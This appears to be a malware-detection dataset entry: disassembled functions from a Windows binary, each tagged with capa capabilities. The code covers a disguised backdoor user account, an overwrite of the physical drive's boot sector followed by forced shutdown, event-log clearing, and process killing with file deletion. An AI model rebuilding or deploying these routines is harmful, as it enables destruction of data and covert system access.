joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410ac3
Capabilities:
Create thread

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
xor esi, esi
push 1
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
pop ebp
lea esi, [esi + esi*2]
push 0x48a220
shl esi, 2
push dword [esi + 0x48b998]
lea ebx, [esi + 0x48b998]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x410be6
push dword [esp + 0x1c]
push dword [ebx]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x410bd9
mov ecx, dword [esp + 0x24]
lea eax, [esi + 0x48b9a0]
cmp dword [eax], ecx
je 0x410bd9
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
cmp eax, edi
jne 0x410b50
cmp ecx, ebp
jne 0x410b45
push edi
push edi
push edi
mov dword [0x49d834], ebp
push 0x4109b0
jmp 0x410ba8
mov dword [0x49d834], edi
jmp 0x410bd9
cmp eax, ebp
jne 0x410b70
cmp ecx, ebp
jne 0x410b68
push edi
push edi
push edi
mov dword [0x49d840], ebp
push 0x4109e7
jmp 0x410ba8
mov dword [0x49d840], edi
jmp 0x410bd9
cmp eax, 2
jne 0x410b91
cmp ecx, ebp
jne 0x410b89
push edi
push edi
push edi
mov dword [0x49d830], ebp
push 0x410a1e
jmp 0x410ba8
mov dword [0x49d830], edi
jmp 0x410bd9
cmp eax, 3
jne 0x410bba
cmp ecx, ebp
jne 0x410bb2
push edi
push edi
push edi
mov dword [0x49d838], ebp
push 0x410a55
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
jmp 0x410bd9
mov dword [0x49d838], edi
jmp 0x410bd9
cmp eax, 4
jne 0x410bd9
cmp ecx, ebp
jne 0x410bd3
push edi
push edi
push edi
mov dword [0x49d83c], ebp
push 0x410a8c
jmp 0x410ba8
mov dword [0x49d83c], edi
inc dword [esp + 0x10]
mov esi, dword [esp + 0x10]
jmp 0x410ad8
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [esp + 0x14]
call fcn.0040ff42
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0xc
Function at 0x411221
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
push edi
call esi
lea ebx, [eax + edi + 1]
push ebx
mov dword [ebp - 4], ebx
call esi
lea eax, [eax + ebx + 1]
xor ebx, ebx
cmp edi, ebx
mov edi, dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], ebx
jne 0x411261
mov dword [ebp + 8], ebx
jmp 0x411291
push dword [ebp + 8]
call esi
inc eax
mov dword [ebp - 0x10], eax
add eax, eax
add eax, 3
and al, 0xfc
call fcn.0045c920
mov eax, esp
push dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
mov word [eax], bx
push ebx
push ebx
call edi
mov eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
cmp dword [ebp - 4], ebx
jne 0x41129b
mov dword [ebp - 4], ebx
jmp 0x4112cb
push dword [ebp - 4]
call esi
inc eax
mov dword [ebp - 0x10], eax
add eax, eax
add eax, 3
and al, 0xfc
call fcn.0045c920
mov eax, esp
push dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
push eax
push 0xffffffffffffffff
push dword [ebp - 4]
mov word [eax], bx
push ebx
push ebx
call edi
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 8], ebx
jne 0x4112d5
mov dword [ebp - 8], ebx
jmp 0x411303
push dword [ebp - 8]
call esi
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.0045c920
mov eax, esp
push esi
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov word [eax], bx
push ebx
push ebx
call edi
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push 1
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x38], eax
pop esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x30], esi
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
push ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], str.This_user_account_is_used_by_the_Visual_Studio_.NET_Debugger
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], ebx
call sub.NETAPI32.dll_NetUserAdd
push 0x31
xor eax, eax
pop ecx
lea edi, [ebp - 0x102]
mov word [ebp - 0x104], bx
push dword [ebp - 0x3c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
pop ecx
lea eax, [ebp - 0x104]
pop ecx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push esi
push eax
push 3
push dword [ebp - 8]
push ebx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov ecx, dword [ebp - 0x18]
call fcn.0040ff6b
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41138a
Capabilities:
Contain obfuscated stackstrings
Shutdown system
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x33
lea eax, [ebp - 0x230]
push 0x48ba88
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push eax
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xe], 0x59
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0x4c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x52
mov byte [ebp - 6], 0x49
mov byte [ebp - 5], 0x56
mov byte [ebp - 4], 0x45
mov byte [ebp - 3], 0x30
mov byte [ebp - 2], bl
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x4114ed
push esi
lea eax, [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x230]
push 0x200
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
pop esi
jae 0x4114dc
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x2c]
push eax
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
lea eax, [ebp - 0x30]
push ebx
push eax
push ebx
push dword [ebp - 0x18]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
pop edi
pop ebx
leave
ret
Function at 0x4114f1
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
lea eax, [ebp - 0x24]
push ebx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor ebx, ebx
lea eax, [ebp - 0xc]
push esi
push edi
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], bl
mov dword [ebp - 0x28], eax
lea esi, [ebp - 0x30]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
cmp edi, ebx
je 0x4115a3
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add esi, 4
dec dword [ebp - 4]
jne 0x411585
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4117f4
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov esi, ecx
push 0
push dword [esi + 0x12c]
mov dword [esi], 0x47d6b4
call edi
push 0
push dword [esi + 0x124]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0
push dword [esi + 0x128]
call edi
push 0x7d0
push dword [esi + 0x130]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [esi + 0x114]
mov edi, dword [sym.imp.KERNEL32.DLL_DisconnectNamedPipe]
test eax, eax
je 0x41184a
push eax
call edi
mov eax, dword [esi + 0x118]
test eax, eax
je 0x411857
push eax
call edi
mov eax, dword [esi + 0x11c]
test eax, eax
je 0x411864
push eax
call edi
mov eax, dword [esi + 0x120]
test eax, eax
je 0x411871
push eax
call edi
push dword [esi + 0x114]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [esi + 0x118]
call edi
push dword [esi + 0x11c]
call edi
push dword [esi + 0x120]
call edi
push dword [esi + 0x124]
call edi
push dword [esi + 0x128]
call edi
push dword [esi + 0x130]
call edi
push dword [esi + 0x12c]
call edi
mov ecx, esi
call fcn.0040a91e
pop edi
pop esi
ret
Function at 0x411ce8
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push edi
mov dword [ebp - 8], ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
cmp dword [ebp + 0xc], ebx
jbe 0x411da3
push esi
mov eax, dword [ebp + 8]
push dword [edi + eax]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
push ebx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 0x10], ebx
push 1
pop esi
mov dword [ebp - 4], ebx
je 0x411d96
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411d87
xor esi, esi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x32
jb 0x411d92
xor esi, esi
cmp esi, ebx
jne 0x411d5b
add edi, 4
cmp edi, dword [ebp + 0xc]
jb 0x411d1a
pop esi
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [ebp - 8]
call fcn.00411b9a
pop edi
pop ebx
leave
ret 0xc
Function at 0x411dbc
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push esi
push edi
push 0x49
xor esi, esi
pop ecx
xor eax, eax
and byte [ebp - 0x244], al
lea edi, [ebp - 0x13c]
mov dword [ebp - 0x140], esi
push 0x40
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x243]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
mov dword [ebp - 8], esi
pop edi
mov dword [ebp - 0x10], esi
push edi
push str.SeDebugPrivilege
call fcn.00413886
pop ecx
pop ecx
push esi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x411e1d
xor eax, eax
jmp 0x411fae
push ebx
push 0x400
push 0x40
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 0x14], ebx
push dword [ebp - 4]
mov byte [ebx], 0x6c
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x411f82
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push dword [ebp - 0x138]
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp dword [ebp - 0x138], 0
mov dword [ebp - 8], eax
je 0x411f69
cmp dword [ebp - 0x138], 4
je 0x411f69
cmp dword [ebp - 0x138], 8
je 0x411f69
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call sub.PSAPI.DLL_EnumProcessModules
lea eax, [ebp - 0x244]
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [ebp - 0x11c]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 0x14]
add eax, edi
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_LocalSize]
cmp eax, dword [ebp - 0xc]
jae 0x411efb
push 0x42
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalReAlloc]
mov ebx, eax
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x138]
push 4
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x244]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x411e5a
xor esi, esi
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalReAlloc]
push esi
push str.SeDebugPrivilege
mov edi, eax
call fcn.00413886
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
pop ecx
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x4120bd
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push 0xc
lea eax, [ebp - 0x10]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x50]
mov byte [ebp - 0x10], 0xa
mov dword [ebp - 0x50], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0x14
pop ecx
call fcn.0045c970
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xb]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp + 0xc]
add esp, 0x18
lea eax, [ebp - 0x10]
push 0xc
push eax
call fcn.0040a931
leave
ret
Function at 0x412cd6
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and byte [ebp - 0x110], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x50
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.Favorites
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [0x49dd70], eax
mov byte [eax], 0x16
lea eax, [ebp - 0x110]
mov dword [0x48bfd8], esi
push eax
call fcn.00412a78
pop ecx
push 0x42
push dword [0x48bfd8]
push dword [0x49dd70]
call dword [sym.imp.KERNEL32.DLL_LocalReAlloc]
pop edi
mov dword [0x49dd70], eax
pop esi
leave
ret
Function at 0x4134e8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 4], eax
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x413481
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x41354a
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
lea eax, [ebp - 0x30]
push edi
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x4c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], bl
mov byte [ebp - 0x30], 0x43
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x54
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x68
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x68
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push 2
call eax
mov esi, 0x128
mov dword [ebp - 4], eax
push esi
call sub.MFC42.DLL_operatornew
mov edi, eax
pop ecx
push edi
mov dword [edi], esi
mov esi, dword [ebp - 4]
push esi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x41365b
push dword [ebp + 8]
mov ecx, dword [0x49d6f4]
lea eax, [edi + 0x24]
push eax
call fcn.0040a997
test eax, eax
jne 0x413641
mov ebx, dword [edi + 8]
jmp 0x413662
push edi
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x41365b
push dword [ebp + 8]
lea eax, [edi + 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
jmp 0x413638
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call sub.MFC42.DLL_operatordelete
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x413670
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea ecx, [ebp - 8]
xor eax, eax
push ecx
lea ecx, [ebp - 4]
push ecx
push 5
push 0xffffffffffffffff
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x4136b8
push esi
push 0x100
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push dword [ebp - 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
leave
ret
xor eax, eax
leave
ret

Function at 0x413814
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x413865
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x413883
cmp dword [ebp - 0x98], 5
jne 0x41387e
cmp dword [ebp - 0x94], 0
jne 0x41387e
call fcn.004136bc
jmp 0x413883
call fcn.00413670
pop esi
leave
ret

Function at 0x413aa0
Capabilities:
List user accounts

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
push 0xc8
push edi
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push 0xffffffffffffffff
push eax
push 2
push edi
push edi
call sub.NETAPI32.dll_NetUserEnum
cmp eax, edi
mov dword [ebp - 0x18], eax
je 0x413af4
cmp eax, 0xea
jne 0x413b2a
mov ebx, dword [ebp - 4]
cmp ebx, edi
je 0x413b3c
cmp dword [ebp - 0xc], edi
jbe 0x413b2a
mov esi, dword [ebp - 8]
imul esi, esi, 0x32
add esi, dword [ebp + 8]
inc dword [ebp - 8]
push 0x50
push dword [ebx]
mov eax, esi
add esi, 0x32
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0xc
add ebx, 4
inc edi
cmp edi, dword [ebp - 0xc]
jb 0x413b09
xor edi, edi
mov ebx, dword [ebp - 4]
cmp ebx, edi
je 0x413b3c
push ebx
call sub.NETAPI32.dll_NetApiBufferFree
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0xea
je 0x413acb
cmp ebx, edi
je 0x413b4f
push ebx
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413b57
Capabilities:
Get session information

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
jne 0x413b7c
xor al, al
leave
ret
cmp dword [ebp + 0x10], 0xe
jne 0x413bac
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + 9]
push ecx
movzx ecx, byte [eax + 8]
push ecx
movzx ecx, byte [eax + 7]
movzx eax, byte [eax + 6]
push ecx
push eax
push str._d._d._d._d
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
jmp 0x413bb8
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push dword [ebp - 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov al, 1
leave
ret